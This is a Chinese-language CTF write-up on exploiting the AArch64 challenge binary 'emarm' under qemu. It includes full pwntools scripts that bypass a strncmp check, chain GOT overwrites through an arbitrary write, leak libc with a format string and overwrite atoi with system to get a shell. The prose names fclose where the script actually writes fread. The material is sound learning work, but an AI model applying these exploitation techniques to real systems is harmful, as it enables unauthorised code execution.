【PWN】Arm 程序漏洞利用学习

参考链接:

准备工作

可以用 qemu 搭建调试环境:

text
1
2
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn
  • -g 1234 : 表示 qemu 会在 1234 起一个 gdbserver 等待 gdb 客户端连接后才能继续执行

  • -L /usr/aarch64-linux-gnu : 指定动态库路径

然后使用 gdb 连接:

text
1
2
3
4
5
gdb-multiarch
pwndbg> set architecture aarch64
pwndbg> target remote :1234
pwndbg> b *0x400BD0
pwndbg> c

题目分析

题目来源是 HWS计划2021硬件安全冬令营线上选拔赛 的题目 emarm

text
1
2
3
4
5
6
[*] '/home/ubuntu/Desktop/emarm/emarm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

简单分析一下,可以发现有一个任意地址写,可以写入 8 字节:

Untitled

查了一些资料,arm 架构下 got 表功能是一样的,所以可以直接把 got 表中 atoi 那一项改成 system 地址。现在问题就是如何泄漏 libc。

本题没有给出任意地址读,但是看到别人的题解里写的是,如果用 qemu 启动题目,地址不会修改。所以 ASLR 等于没有。对于这一点不知道其他题目是不是也是这样。


利用构造

首先构造 '\x00'*7 输入截断,然后在 strncmp 对比完成后(400BD0)下断点,看是否成功绕过。这里提一下:aarch64 返回值保存在 x0 寄存器中。参考链接:AArch64 学习(二) 函数调用 (Function Call Convention)

Untitled

strncmp 返回值是 0,成功绕过。

然后任意地址写。可以 atoi got 表地址修改为 printf 函数地址,然后通过 %8$p 等方式 leak。然而可控的字符串位置太远。4 字节不够用了。

这里有一个 trick ,可以把 fclose 的地址修改为 0x400be4,也就是 if 内部执行的第一条语句的地址。这样就会回到任意地址写再次写入了。这一次我们可以将 strlen 修改为 printf 函数,这样就可以控制 8 字节泄漏地址了。

这个 %17$s 对应的是 read 读入 4 字节的 buf2。我们把它写成 puts 函数的地址,这样就能打印出来 puts 在 libc 的地址。(脚本是 python2,历史遗留问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.log_level = "debug"

p = process(["qemu-aarch64", "-g","1234","-L", "/usr/aarch64-linux-gnu", "./emarm"])
#p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./emarm"])

elf = ELF("./emarm")

p.recvuntil("hi")

payload = "\x00" + "123456"
p.sendline(payload)


p.send(str(elf.got["fread"]).ljust(8, '\x00'))
p.recvuntil("you will success")
p.send(p64(0x400BE4))
p.recvuntil("bye")
p.sendline("004")

p.send(str(elf.got["strlen"]).ljust(8, '\x00'))
p.recvuntil("you will success")
p.send(p64(elf.plt["printf"]))
p.recvuntil("bye")
p.send(p64(elf.got["puts"])[:4])
p.recv()
p.send("%17$sED")
puts_addr = u64(p.recvuntil("ED",drop=True).ljust(8, '\x00'))
print(hex(puts_addr))
p.interactive()

但是打出来的 puts_addr 是 3 字节的:0x8acc60。用 vmmap 查看,发现加载的模块都是类似 0x4000****** 这样的:

Untitled

所以我就手动补齐成 0x40008acc60,然后计算 system 偏移即可。我用的是我自己系统的 libc 和偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.log_level = "debug"

#p = process(["qemu-aarch64", "-g","1234","-L", "/usr/aarch64-linux-gnu", "./emarm"])
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./emarm"])

elf = ELF("./emarm")

p.recvuntil("hi")

payload = "\x00" + "123456"
p.sendline(payload)

# leak addr
# p.send(str(elf.got["fread"]).ljust(8, '\x00'))
# p.recvuntil("you will success")
# p.send(p64(0x400BE4))
# p.recvuntil("bye")
# p.sendline("004")

# p.send(str(elf.got["strlen"]).ljust(8, '\x00'))
# p.recvuntil("you will success")
# p.send(p64(elf.plt["printf"]))
# p.recvuntil("bye")
# p.send(p64(elf.got["puts"])[:4])
# p.recv()
# p.send("%17$sED")
# puts_addr = u64(p.recvuntil("ED",drop=True).ljust(8, '\x00'))
# print(hex(puts_addr))
# p.interactive()


# exploit
system_addr = 0x40008acc60-0x23448
p.send(str(elf.got["atoi"]).ljust(8, '\x00'))
p.recvuntil("you will success")
p.send(p64(system_addr))
p.recvuntil("bye")
p.sendline("sh")

p.interactive()

成功 getshell。